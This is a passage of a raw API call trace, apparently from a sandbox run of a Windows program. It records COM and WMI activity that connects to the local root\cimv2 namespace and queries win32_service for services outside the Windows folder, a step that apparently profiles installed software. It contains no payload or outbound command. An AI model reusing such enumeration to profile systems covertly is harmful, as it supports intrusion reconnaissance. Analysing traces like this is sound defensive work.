[7]=0x25)), ppvObject=0x5e8df6c | out: ppvObject=0x5e8df6c*=0x0) returned 0x80004002 [0061.952] IUnknown:Release (This=0x3477a4) returned 0x1 [0061.952] CoGetClassObject (in: rclsid=0x40ad4c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x749ca3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e8da88 | out: ppv=0x5e8da88*=0x60f0810) returned 0x0 [0061.952] WbemDefPath:IUnknown:QueryInterface (in: This=0x60f0810, riid=0x74ab7ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d8b8 | out: ppvObject=0x5e8d8b8*=0x0) returned 0x80004002 [0061.952] WbemDefPath:IClassFactory:CreateInstance (in: This=0x60f0810, pUnkOuter=0x0, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d8f0 | out: ppvObject=0x5e8d8f0*=0x60f08b8) returned 0x0 [0061.953] WbemDefPath:IUnknown:QueryInterface (in: This=0x60f08b8, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d694 | out: ppvObject=0x5e8d694*=0x60f08b8) returned 0x0 [0061.953] WbemDefPath:IUnknown:QueryInterface (in: This=0x60f08b8, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8d650 | out: ppvObject=0x5e8d650*=0x0) returned 0x80004002 [0061.953] WbemDefPath:IUnknown:AddRef (This=0x60f08b8) returned 0x3 [0061.953] CoGetContextToken (in: pToken=0x5e8d4dc | out: pToken=0x5e8d4dc) returned 0x0 [0061.953] WbemDefPath:IUnknown:QueryInterface (in: This=0x60f08b8, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d4c4 | out: ppvObject=0x5e8d4c4*=0x40a258) returned 0x0 [0061.954] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x40a258, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d4cc | out: pCid=0x5e8d4cc*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0061.954] WbemDefPath:IUnknown:Release (This=0x40a258) returned 0x3 [0061.954] CoGetContextToken (in: pToken=0x5e8d4d4 | out: pToken=0x5e8d4d4) returned 0x0 [0061.954] WbemDefPath:IUnknown:AddRef (This=0x60f08b8) returned 0x4 [0061.954] WbemDefPath:IUnknown:QueryInterface (in: This=0x60f08b8, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d548 | out: ppvObject=0x5e8d548*=0x0) returned 0x80004002 [0061.954] WbemDefPath:IUnknown:Release (This=0x60f08b8) returned 0x3 [0061.954] WbemDefPath:IUnknown:Release (This=0x60f08b8) returned 0x2 [0061.954] WbemDefPath:IUnknown:Release (This=0x60f0810) returned 0x0 [0061.955] WbemDefPath:IUnknown:Release (This=0x60f08b8) returned 0x1 [0061.955] CoGetContextToken (in: pToken=0x5e8dd84 | out: pToken=0x5e8dd84) returned 0x0 [0061.955] CoGetContextToken (in: pToken=0x5e8dd44 | out: pToken=0x5e8dd44) returned 0x0 [0061.955] WbemDefPath:IUnknown:AddRef (This=0x60f08b8) returned 0x2 [0061.955] WbemDefPath:IUnknown:QueryInterface (in: This=0x60f08b8, riid=0x5e8ddc0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5e8ddbc | out: ppvObject=0x5e8ddbc*=0x60f08b8) returned 0x0 [0061.955] WbemDefPath:IUnknown:Release (This=0x60f08b8) returned 0x2 [0061.955] WbemDefPath:IUnknown:Release (This=0x60f08b8) returned 0x1 [0061.956] CoGetContextToken (in: pToken=0x5e8de04 | out: pToken=0x5e8de04) returned 0x0 [0061.956] CoGetContextToken (in: pToken=0x5e8ddc4 | out: pToken=0x5e8ddc4) returned 0x0 [0061.956] WbemDefPath:IUnknown:AddRef (This=0x60f08b8) returned 0x2 [0061.956] WbemDefPath:IUnknown:QueryInterface (in: This=0x60f08b8, riid=0x5e8de40*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5e8de3c | out: ppvObject=0x5e8de3c*=0x60f08b8) returned 0x0 [0061.956] WbemDefPath:IUnknown:Release (This=0x60f08b8) returned 0x2 [0061.956] WbemDefPath:IUnknown:AddRef (This=0x60f08b8) returned 0x3 [0061.957] WbemDefPath:IWbemPath:SetText (This=0x60f08b8, uMode=0x4, pszPath="//./root/cimv2") returned 0x0 [0061.957] WbemDefPath:IUnknown:Release (This=0x60f08b8) returned 0x2 [0061.957] CoGetContextToken (in: pToken=0x5e8e5e0 | out: pToken=0x5e8e5e0) returned 0x0 [0061.957] CoGetContextToken (in: pToken=0x5e8e5a0 | out: pToken=0x5e8e5a0) returned 0x0 [0061.957] WbemDefPath:IUnknown:AddRef (This=0x60f0820) returned 0x2 [0061.957] WbemDefPath:IUnknown:QueryInterface (in: This=0x60f0820, riid=0x5e8e61c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5e8e618 | out: ppvObject=0x5e8e618*=0x60f0820) returned 0x0 [0061.957] WbemDefPath:IUnknown:Release (This=0x60f0820) returned 0x2 [0061.958] WbemDefPath:IUnknown:AddRef (This=0x60f0820) returned 0x3 [0061.958] WbemDefPath:IWbemPath:SetText (This=0x60f0820, uMode=0x4, pszPath="\\\\localhost\\root\\cimv2") returned 0x0 [0061.958] WbemDefPath:IUnknown:Release (This=0x60f0820) returned 0x2 [0061.960] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60f0820, puCount=0x5e8e784 | out: puCount=0x5e8e784*=0x2) returned 0x0 [0061.963] WbemDefPath:IWbemPath:GetText (in: This=0x60f0820, lFlags=4, puBuffLength=0x5e8e780*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e780*=0x17, pszText=0x0) returned 0x0 [0061.964] WbemDefPath:IWbemPath:GetText (in: This=0x60f0820, lFlags=4, puBuffLength=0x5e8e780*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e780*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0061.967] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60f0820, puCount=0x5e8e780 | out: puCount=0x5e8e780*=0x2) returned 0x0 [0061.967] WbemDefPath:IWbemPath:GetText (in: This=0x60f0820, lFlags=4, puBuffLength=0x5e8e77c*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e77c*=0x17, pszText=0x0) returned 0x0 [0061.967] WbemDefPath:IWbemPath:GetText (in: This=0x60f0820, lFlags=4, puBuffLength=0x5e8e77c*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e77c*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0061.967] CoGetObjectContext (in: riid=0x320880c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e8e6fc | out: ppv=0x5e8e6fc*=0x3477a4) returned 0x0 [0061.967] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3477a4, pAptType=0x5e8e6f4 | out: pAptType=0x5e8e6f4*=1) returned 0x0 [0061.967] IUnknown:QueryInterface (in: This=0x3477a4, riid=0x32087f4*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x5e8e6f8 | out: ppvObject=0x5e8e6f8*=0x0) returned 0x80004002 [0061.967] IUnknown:Release (This=0x3477a4) returned 0x1 [0061.968] IIDFromString (in: lpsz="{4590F811-1D3A-11D0-891F-00AA004B2E24}", lpiid=0x5e8e5e4 | out: lpiid=0x5e8e5e4) returned 0x0 [0061.968] CoGetClassObject (in: rclsid=0x40af54*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x749ca3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e8e54c | out: ppv=0x5e8e54c*=0x60f0ad0) returned 0x0 [0062.108] WbemLocator:IUnknown:QueryInterface (in: This=0x60f0ad0, riid=0x74ab7ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8e37c | out: ppvObject=0x5e8e37c*=0x0) returned 0x80004002 [0062.108] WbemLocator:IClassFactory:CreateInstance (in: This=0x60f0ad0, pUnkOuter=0x0, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e3b4 | out: ppvObject=0x5e8e3b4*=0x60f0bf0) returned 0x0 [0062.108] WbemLocator:IUnknown:QueryInterface (in: This=0x60f0bf0, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e158 | out: ppvObject=0x5e8e158*=0x60f0bf0) returned 0x0 [0062.109] WbemLocator:IUnknown:QueryInterface (in: This=0x60f0bf0, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8e114 | out: ppvObject=0x5e8e114*=0x0) returned 0x80004002 [0062.109] WbemLocator:IUnknown:AddRef (This=0x60f0bf0) returned 0x3 [0062.109] CoGetContextToken (in: pToken=0x5e8dfa0 | out: pToken=0x5e8dfa0) returned 0x0 [0062.109] WbemLocator:IUnknown:QueryInterface (in: This=0x60f0bf0, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8df88 | out: ppvObject=0x5e8df88*=0x0) returned 0x80004002 [0062.109] CoGetContextToken (in: pToken=0x5e8df98 | out: pToken=0x5e8df98) returned 0x0 [0062.109] WbemLocator:IUnknown:AddRef (This=0x60f0bf0) returned 0x4 [0062.109] WbemLocator:IUnknown:QueryInterface (in: This=0x60f0bf0, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e00c | out: ppvObject=0x5e8e00c*=0x0) returned 0x80004002 [0062.110] WbemLocator:IUnknown:Release (This=0x60f0bf0) returned 0x3 [0062.110] WbemLocator:IUnknown:Release (This=0x60f0bf0) returned 0x2 [0062.110] WbemLocator:IUnknown:Release (This=0x60f0ad0) returned 0x0 [0062.110] WbemLocator:IUnknown:Release (This=0x60f0bf0) returned 0x1 [0062.110] CoGetContextToken (in: pToken=0x5e8e4a4 | out: pToken=0x5e8e4a4) returned 0x0 [0062.110] CoGetContextToken (in: pToken=0x5e8e464 | out: pToken=0x5e8e464) returned 0x0 [0062.110] WbemLocator:IUnknown:AddRef (This=0x60f0bf0) returned 0x2 [0062.110] WbemLocator:IUnknown:QueryInterface (in: This=0x60f0bf0, riid=0x5e8e4e0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8e4dc | out: ppvObject=0x5e8e4dc*=0x60f0bf0) returned 0x0 [0062.110] WbemLocator:IUnknown:Release (This=0x60f0bf0) returned 0x2 [0062.110] WbemLocator:IUnknown:Release (This=0x60f0bf0) returned 0x1 [0062.111] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60f0820, puCount=0x5e8e6d4 | out: puCount=0x5e8e6d4*=0x2) returned 0x0 [0062.112] WbemDefPath:IWbemPath:GetText (in: This=0x60f0820, lFlags=8, puBuffLength=0x5e8e6d0*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e6d0*=0x17, pszText=0x0) returned 0x0 [0062.113] WbemDefPath:IWbemPath:GetText (in: This=0x60f0820, lFlags=8, puBuffLength=0x5e8e6d0*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e6d0*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0062.113] CoCreateInstance (in: rclsid=0x6a3113a0*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6a3112d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x5e8e1ac | out: ppv=0x5e8e1ac*=0x60f0c00) returned 0x0 [0062.113] WbemLocator:IWbemLocator:ConnectServer (in: This=0x60f0c00, strNetworkResource="\\\\localhost\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x5e8e1f8 | out: ppNamespace=0x5e8e1f8*=0x60fd3c4) returned 0x0 [0065.506] WbemLocator:IUnknown:QueryInterface (in: This=0x60fd3c4, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e0c8 | out: ppvObject=0x5e8e0c8*=0x4235ec) returned 0x0 [0065.507] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x4235ec, pProxy=0x60fd3c4, pAuthnSvc=0x5e8e110, pAuthzSvc=0x5e8e10c, pServerPrincName=0x5e8e11c, pAuthnLevel=0x5e8e114, pImpLevel=0x5e8e100, pAuthInfo=0x5e8e104, pCapabilites=0x5e8e108 | out: pAuthnSvc=0x5e8e110*=0xa, pAuthzSvc=0x5e8e10c*=0x0, pServerPrincName=0x5e8e11c, pAuthnLevel=0x5e8e114*=0x6, pImpLevel=0x5e8e100*=0x2, pAuthInfo=0x5e8e104, pCapabilites=0x5e8e108*=0x1) returned 0x0 [0065.507] WbemLocator:IUnknown:Release (This=0x4235ec) returned 0x1 [0065.507] WbemLocator:IUnknown:QueryInterface (in: This=0x60fd3c4, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e0bc | out: ppvObject=0x5e8e0bc*=0x42360c) returned 0x0 [0065.507] WbemLocator:IUnknown:QueryInterface (in: This=0x60fd3c4, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e0b8 | out: ppvObject=0x5e8e0b8*=0x4235ec) returned 0x0 [0065.507] WbemLocator:IClientSecurity:SetBlanket (This=0x4235ec, pProxy=0x60fd3c4, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0065.507] WbemLocator:IUnknown:Release (This=0x4235ec) returned 0x2 [0065.507] WbemLocator:IUnknown:Release (This=0x42360c) returned 0x1 [0065.507] CoTaskMemFree (pv=0x41e8e0) [0065.507] WbemLocator:IUnknown:Release (This=0x60f0c00) returned 0x0 [0065.508] WbemLocator:IUnknown:QueryInterface (in: This=0x60fd3c4, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8da78 | out: ppvObject=0x5e8da78*=0x42360c) returned 0x0 [0065.508] WbemLocator:IUnknown:QueryInterface (in: This=0x42360c, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8da34 | out: ppvObject=0x5e8da34*=0x0) returned 0x80004002 [0065.508] WbemLocator:IUnknown:QueryInterface (in: This=0x42360c, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x0) returned 0x80004002 [0065.509] WbemLocator:IUnknown:AddRef (This=0x42360c) returned 0x3 [0065.509] CoGetContextToken (in: pToken=0x5e8d8c0 | out: pToken=0x5e8d8c0) returned 0x0 [0065.509] WbemLocator:IUnknown:QueryInterface (in: This=0x42360c, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d8a8 | out: ppvObject=0x5e8d8a8*=0x42356c) returned 0x0 [0065.510] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x42356c, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d8b0 | out: pCid=0x5e8d8b0*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0065.510] WbemLocator:IUnknown:Release (This=0x42356c) returned 0x3 [0065.510] CoGetContextToken (in: pToken=0x5e8d8b8 | out: pToken=0x5e8d8b8) returned 0x0 [0065.510] WbemLocator:IUnknown:AddRef (This=0x42360c) returned 0x4 [0065.510] WbemLocator:IUnknown:QueryInterface (in: This=0x42360c, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d92c | out: ppvObject=0x5e8d92c*=0x4235f4) returned 0x0 [0065.510] WbemLocator:IUnknown:Release (This=0x42360c) returned 0x4 [0065.510] WbemLocator:IRpcOptions:Query (in: This=0x4235f4, pPrx=0x42360c, dwProperty=2, pdwValue=0x5e8d950 | out: pdwValue=0x5e8d950) returned 0x80004002 [0065.510] WbemLocator:IUnknown:Release (This=0x4235f4) returned 0x3 [0065.511] WbemLocator:IUnknown:Release (This=0x42360c) returned 0x2 [0065.511] CoGetContextToken (in: pToken=0x5e8dd2c | out: pToken=0x5e8dd2c) returned 0x0 [0065.511] CoGetContextToken (in: pToken=0x5e8dcec | out: pToken=0x5e8dcec) returned 0x0 [0065.511] WbemLocator:IUnknown:AddRef (This=0x42360c) returned 0x3 [0065.511] WbemLocator:IUnknown:QueryInterface (in: This=0x42360c, riid=0x5e8dd68*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x5e8dd64 | out: ppvObject=0x5e8dd64*=0x60fd3c4) returned 0x0 [0065.511] WbemLocator:IUnknown:Release (This=0x42360c) returned 0x3 [0065.511] WbemLocator:IUnknown:Release (This=0x60fd3c4) returned 0x2 [0065.511] WbemLocator:IUnknown:Release (This=0x60fd3c4) returned 0x1 [0065.512] CoGetContextToken (in: pToken=0x5e8e648 | out: pToken=0x5e8e648) returned 0x0 [0065.512] WbemLocator:IUnknown:AddRef (This=0x42360c) returned 0x2 [0065.512] WbemLocator:IUnknown:QueryInterface (in: This=0x42360c, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e26c | out: ppvObject=0x5e8e26c*=0x42360c) returned 0x0 [0065.513] WbemLocator:IUnknown:Release (This=0x42360c) returned 0x2 [0065.513] WbemLocator:IUnknown:Release (This=0x42360c) returned 0x1 [0065.513] CoGetContextToken (in: pToken=0x5e8de4c | out: pToken=0x5e8de4c) returned 0x0 [0065.513] CoGetContextToken (in: pToken=0x5e8de0c | out: pToken=0x5e8de0c) returned 0x0 [0065.513] WbemLocator:IUnknown:AddRef (This=0x42360c) returned 0x2 [0065.513] WbemLocator:IUnknown:QueryInterface (in: This=0x42360c, riid=0x5e8de88*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x5e8de84 | out: ppvObject=0x5e8de84*=0x60fd3c4) returned 0x0 [0065.513] WbemLocator:IUnknown:Release (This=0x42360c) returned 0x2 [0065.513] WbemLocator:IUnknown:AddRef (This=0x60fd3c4) returned 0x3 [0065.514] IWbemServices:ExecQuery (in: This=0x60fd3c4, strQueryLanguage="WQL", strQuery="SELECT ProcessId, Name, PathName FROM win32_service WHERE ProcessId > 0 AND NOT (PathName LIKE '%:\\\\WINDOWS\\\\%')", lFlags=16, pCtx=0x0, ppEnum=0x5e8e490 | out: ppEnum=0x5e8e490*=0x60fcb34) returned 0x0 [0065.533] IUnknown:QueryInterface (in: This=0x60fcb34, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e13c | out: ppvObject=0x5e8e13c*=0x60fcb38) returned 0x0 [0065.534] IClientSecurity:QueryBlanket (in: This=0x60fcb38, pProxy=0x60fcb34, pAuthnSvc=0x5e8e184, pAuthzSvc=0x5e8e180, pServerPrincName=0x5e8e190, pAuthnLevel=0x5e8e188, pImpLevel=0x5e8e174, pAuthInfo=0x5e8e178, pCapabilites=0x5e8e17c | out: pAuthnSvc=0x5e8e184*=0xa, pAuthzSvc=0x5e8e180*=0x0, pServerPrincName=0x5e8e190, pAuthnLevel=0x5e8e188*=0x6, pImpLevel=0x5e8e174*=0x2, pAuthInfo=0x5e8e178, pCapabilites=0x5e8e17c*=0x1) returned 0x0 [0065.534] IUnknown:Release (This=0x60fcb38) returned 0x1 [0065.534] IUnknown:QueryInterface (in: This=0x60fcb34, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e130 | out: ppvObject=0x5e8e130*=0x425c3c) returned 0x0 [0065.534] IUnknown:QueryInterface (in: This=0x60fcb34, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e12c | out: ppvObject=0x5e8e12c*=0x60fcb38) returned 0x0 [0065.534] IClientSecurity:SetBlanket (This=0x60fcb38, pProxy=0x60fcb34, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0065.715] IUnknown:Release (This=0x60fcb38) returned 0x2 [0065.715] WbemLocator:IUnknown:Release (This=0x425c3c) returned 0x1 [0065.715] CoTaskMemFree (pv=0x41e910) [0065.715] WbemLocator:IUnknown:Release (This=0x60fd3c4) returned 0x2 [0065.715] IUnknown:QueryInterface (in: This=0x60fcb34, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8dae8 | out: ppvObject=0x5e8dae8*=0x425c3c) returned 0x0 [0065.715] WbemLocator:IUnknown:QueryInterface (in: This=0x425c3c, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8daa4 | out: ppvObject=0x5e8daa4*=0x0) returned 0x80004002 [0065.716] WbemLocator:IUnknown:QueryInterface (in: This=0x425c3c, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d998 | out: ppvObject=0x5e8d998*=0x0) returned 0x80004002 [0065.717] WbemLocator:IUnknown:AddRef (This=0x425c3c) returned 0x3 [0065.717] CoGetContextToken (in: pToken=0x5e8d930 | out: pToken=0x5e8d930) returned 0x0 [0065.717] WbemLocator:IUnknown:QueryInterface (in: This=0x425c3c, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d918 | out: ppvObject=0x5e8d918*=0x425b9c) returned 0x0 [0065.717] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x425b9c, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d920 | out: pCid=0x5e8d920*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0065.717] WbemLocator:IUnknown:Release (This=0x425b9c) returned 0x3 [0065.717] CoGetContextToken (in: pToken=0x5e8d928 | out: pToken=0x5e8d928) returned 0x0 [0065.717] WbemLocator:IUnknown:AddRef (This=0x425c3c) returned 0x4 [0065.717] WbemLocator:IUnknown:QueryInterface (in: This=0x425c3c, 